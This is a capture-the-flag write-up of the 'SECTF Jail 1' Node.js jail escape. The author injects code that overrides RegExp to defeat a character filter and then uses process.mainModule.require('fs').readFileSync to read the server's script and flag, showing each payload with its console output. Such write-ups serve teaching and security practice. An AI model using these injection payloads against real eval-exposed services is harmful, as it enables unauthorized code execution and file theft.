[Pwn] SECTF - Jail 1



Jail - Pwn (200 + 0)

Joey gave you the disk with the file on it and now you’re in jail. They’re charging you with some serious shit, man! Better figure out a way to escape.

Solves: 43

Service: jail.alieni.se:55542

Author: avlidienbrunn

A jail escape challenge this time with javascript we need, we can start by sending this so we can view the source code of the current function running:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
""""""""""""""""""""""""""""
Phone #> this

And we get this source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function call(number) {
var hangup = process.exit;
var line = "";

if(number == 911){
console.log("Invalid number");
ask();
return;
}

var flag,Array,Boolean,Date,global,Error,EvalError,Function,Number,Object,RangeError,ReferenceError,String,SyntaxError,TypeError,URIError,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,isFinite,isNaN,parseFloat,parseInt,ArrayBuffer,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Float32Array,Float64Array,Int16Array,Int32Array,Int8Array,Map,Promise,Proxy,Set,Symbol,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,assert,clearImmediate,clearInterval,clearTimeout,escape,events,require,setImmediate,setInterval,setTimeout,stream,unescape,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf;

if(new RegExp(/[\[\]\.\\]/).test(number)){
console.log("Dangerous characters detected");
hangup();
return;
}

arguments = undefined;

console.log("Calling "+eval(number)+"... Nobody picks up!");
hangup();
}

We can see after we send our number the program will end, at the begin of the function we can see the hangup function is being set into process.exit. We have an interesting feature too if we try to call 911 we will jump into ask function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #> ask
1
2
3
4
5
function ask(){
rl.question(template,function(answer){
Jail.call(answer);
});
}

As we can see the function ask is restarting the program this will come handy later, we have some restriction too RegexExp class is blocking ‘.’, ‘[‘, ‘]’ and ‘\‘ characters:

1
2
3
4
5
if(new RegExp(/[\[\]\.\\]/).test(number)){
console.log("Dangerous characters detected");
hangup();
return;
}

So how do can we bypass this? my plan was:

1
2
3
4
1 - Override RegexExp class to always return true.
2 - Recall function call but this time with 911 number(this will restart the program and a this point RegexExp returns always false so we can inject any character we want).
3 - Get the current filename.
4 - Use process.mainModule.require('fs').readFileSync(filename) to read the file and get the flag!

Override RegexExp

To override the RegexExp class we can just do this:

1
hangup = function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #> hangup = function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}
Calling function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}... Nobody picks up!
Invalid number
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #>

Getting the filename

At this point we can inject any characters we want because the test function will always return false! so lets get the filename:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #> hangup = function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}
Calling function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}... Nobody picks up!
Invalid number
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #> __filename
Calling /app/jail.js... Nobody picks up!

We have the full path! the javascript file is located in /app/jail.js

Read the javascript file

Finally by injecting this after the override process.mainModule.require(‘fs’).readFileSync(‘/app/jail.js’).toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #> hangup = function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}
Calling function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);}... Nobody picks up!
Invalid number
_____________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(/||/ ||
|| ||| _'_´||| ||
|| || o o || ||
|| (|| - ´||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-|S555-4202|-(||)_)
|"""""""""""""""""""""""""""|
| "You get one call, UNO." |
"""""""""""""""""""""""""""
Phone #> process.mainModule.require('fs').readFileSync('/app/jail.js').toString()
Calling var flag = "SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}"
var readline = require('readline');
var rl = readline.createInterface(process.stdin, process.stdout);

Finally our flag is SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}